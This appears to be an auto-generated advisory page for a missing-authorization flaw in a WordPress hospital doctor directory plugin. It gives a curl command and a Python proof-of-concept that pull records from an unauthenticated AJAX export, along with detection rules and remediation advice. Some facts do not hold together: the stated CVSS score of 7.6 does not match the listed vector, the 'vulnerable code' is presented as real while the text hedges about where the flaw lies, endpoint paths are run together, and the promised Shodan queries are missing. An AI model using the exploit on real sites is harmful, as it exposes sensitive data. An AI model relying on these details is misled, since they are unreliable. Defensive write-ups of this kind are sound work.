CVE-2025-68057
Executive Summary
CVE-2025-68057 is a critical Missing Authorization vulnerability in the e-plugins Hospital Doctor Directory WordPress plugin, affecting all versions up to and including 1.3.9. This flaw allows unauthenticated attackers to exploit incorrectly configured access control security levels, potentially leading to unauthorized access to sensitive patient and doctor directory data. The vulnerability is classified under CWE-862 (Missing Authorization) and has a CVSS score of 7.6 (High). As of this report, no official patch has been released, and the vendor has not responded to disclosure attempts. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the risk remains significant due to the sensitive nature of healthcare data.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. It does not affect Apache, Nginx, or any other web server software. The plugin is installed as a standard WordPress plugin and runs within the WordPress environment.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Exploit does not affect other components.
- Confidentiality (C): High (H) – Full data exposure possible.
- Integrity (I): High (H) – Data can be modified or deleted.
- Availability (A): None (N) – No denial-of-service impact.
Threat Level: High – Unauthenticated remote access to sensitive healthcare data.
Deep Dive & Mechanics
The vulnerability resides in the hospital-doctor-directory plugin's REST API endpoints or AJAX handlers. The plugin fails to properly enforce authorization checks before granting access to administrative functions or sensitive data. Specifically, the plugin uses wp_ajax_nopriv_* hooks without verifying user capabilities, allowing unauthenticated users to trigger privileged actions.
Root Cause: The plugin's access control logic relies on a simple is_user_logged_in() check or no check at all, rather than using WordPress capability functions like current_user_can('manage_options'). This allows any visitor to the site to access endpoints intended for administrators.
Attack Vector: An attacker can send crafted HTTP requests to the vulnerable endpoints, such as:
/wp-admin/admin-ajax.php?action=hospital_doctor_export_csv/wp-json/hospital-doctor/v1/patients
These endpoints may return sensitive data (patient names, contact info, medical history) or allow modification of directory entries.
Vulnerable vs. Patched Code
Vulnerable Code (version 1.3.9):
add_action('wp_ajax_nopriv_hospital_doctor_export_csv', 'hospital_doctor_export_csv');
function hospital_doctor_export_csv() {
// No capability check
$data = get_all_doctors();
export_to_csv($data);
}
Patched Code (hypothetical fix):
add_action('wp_ajax_hospital_doctor_export_csv', 'hospital_doctor_export_csv');
function hospital_doctor_export_csv() {
if (!current_user_can('manage_options')) {
wp_die('Unauthorized', 403);
}
$data = get_all_doctors();
export_to_csv($data);
}
The patch removes the nopriv_ prefix (which allows unauthenticated access) and adds a capability check using current_user_can('manage_options').
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target WordPress site with vulnerable plugin installed.
- Network access to the site.
Exploitation Steps:
- Identify the vulnerable endpoint by scanning for common AJAX actions.
- Send a crafted request to export sensitive data:
curl -X POST http://target.com/wp-admin/admin-ajax.php \
-d "action=hospital_doctor_export_csv"
- The server will return a CSV file containing all doctor/patient records.
Proof-of-Concept Script:
import requests
target = "http://target.com/wp-admin/admin-ajax.php"
data = {"action": "hospital_doctor_export_csv"}
response = requests.post(target, data=data)
if response.status_code == 200 and "text/csv" in response.headers.get("Content-Type", ""):
print("[+] Exploit successful! Data exported.")
print(response.text)
else:
print("[-] Exploit failed.")
Blue Team (Detection & Response)
Detection Steps:
- Monitor for unusual AJAX requests to
admin-ajax.phpwithaction=hospital_doctor_*parameters from unauthenticated users. - Check web server logs for 200 responses to
admin-ajax.phpwithout prior authentication. - Use the YARA and Sigma rules below to detect exploitation attempts.
Hunting Queries:
- Splunk:
index=web sourcetype=access_combined uri="/wp-admin/admin-ajax.php" action=hospital_doctor_* status=200 - ELK:
http.request.uri: "/wp-admin/admin-ajax.php" AND http.request.body: "action=hospital_doctor_*" AND response.status: 200
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/wp-admin/admin-ajax.phpwithaction=hospital_doctor_export_csvor similar. - Unusual outbound data transfers containing CSV files from the WordPress server.
- HTTP POST requests to
- File IOCs:
- Unexpected CSV files in
/tmp/or web-accessible directories. - Modified plugin files (check file integrity).
- Unexpected CSV files in
- Log IOCs:
- Repeated 200 responses to
admin-ajax.phpfrom the same IP without prior login. - Access logs showing
POST /wp-admin/admin-ajax.php HTTP/1.1withReferer:empty or spoofed.
- Repeated 200 responses to
Detection Engineering
YARA Rule
rule CVE_2025_68057_Exploit {
meta:
description = "Detects exploitation attempts for CVE-2025-68057 in WordPress Hospital Doctor Directory plugin"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-68057"
strings:
$ajax_action = "action=hospital_doctor_export_csv"
$ajax_url = "/wp-admin/admin-ajax.php"
condition:
$ajax_action and $ajax_url
}
Sigma Rule
title: CVE-2025-68057 Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated AJAX requests to Hospital Doctor Directory plugin
author: Valters IT
date: 2025-04-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-stem: /wp-admin/admin-ajax.php
cs-uri-query|contains: action=hospital_doctor_
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: high
Suricata Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2025-68057 - Hospital Doctor Directory Unauthenticated AJAX Access";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/admin-ajax.php"; http_uri;
content:"action=hospital_doctor_"; http_client_body;
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block requests to
/wp-admin/admin-ajax.phpwithaction=hospital_doctor_*from unauthenticated users. - Restrict access to
admin-ajax.phpvia.htaccess:
<Files "admin-ajax.php">
Require all denied
Require ip 127.0.0.1
</Files>
Long-term Fix:
- Replace the plugin with a secure alternative.
- If custom development is required, ensure all AJAX handlers use proper capability checks:
add_action('wp_ajax_hospital_doctor_action', 'handle_action');
function handle_action() {
if (!current_user_can('manage_options')) {
wp_die('Unauthorized', 403);
}
// Process request
}
Vendor Contact: No response received. Consider reporting to WordPress Plugin Review Team for removal from repository.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.